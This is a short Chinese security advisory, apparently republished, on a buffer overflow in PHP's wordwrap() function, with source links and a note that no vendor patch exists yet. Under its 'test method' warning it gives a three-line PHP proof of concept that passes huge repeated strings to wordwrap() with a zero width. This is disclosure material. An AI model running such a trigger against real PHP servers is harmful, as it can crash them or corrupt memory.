漏洞公布：PHP wordwrap()缓冲区溢出

如果memory_limit的值过高，还可能导致内存拒绝服务。 

　　<*来源：Leon Juranic （ljuranic@LSS.hr） 

　　 链接：http://secunia.com/advisories/19803/print/ 

　　 http://www.infigo.hr/hr/in_focus/advisories/INFIGO-2006-04-02 

　　*> 

　　测试方法： 

　　警 告 

　　以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ 

　　 
　　$a = str_repeat ("A",438013); 

　　$b = str_repeat ("B",951140); 

　　wordwrap ($a,0,$b,0); 

　　?> 

　　建议： 

　　厂商补丁： 

　　PHP 

　　目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： 

　　http://www.php.net
(e129)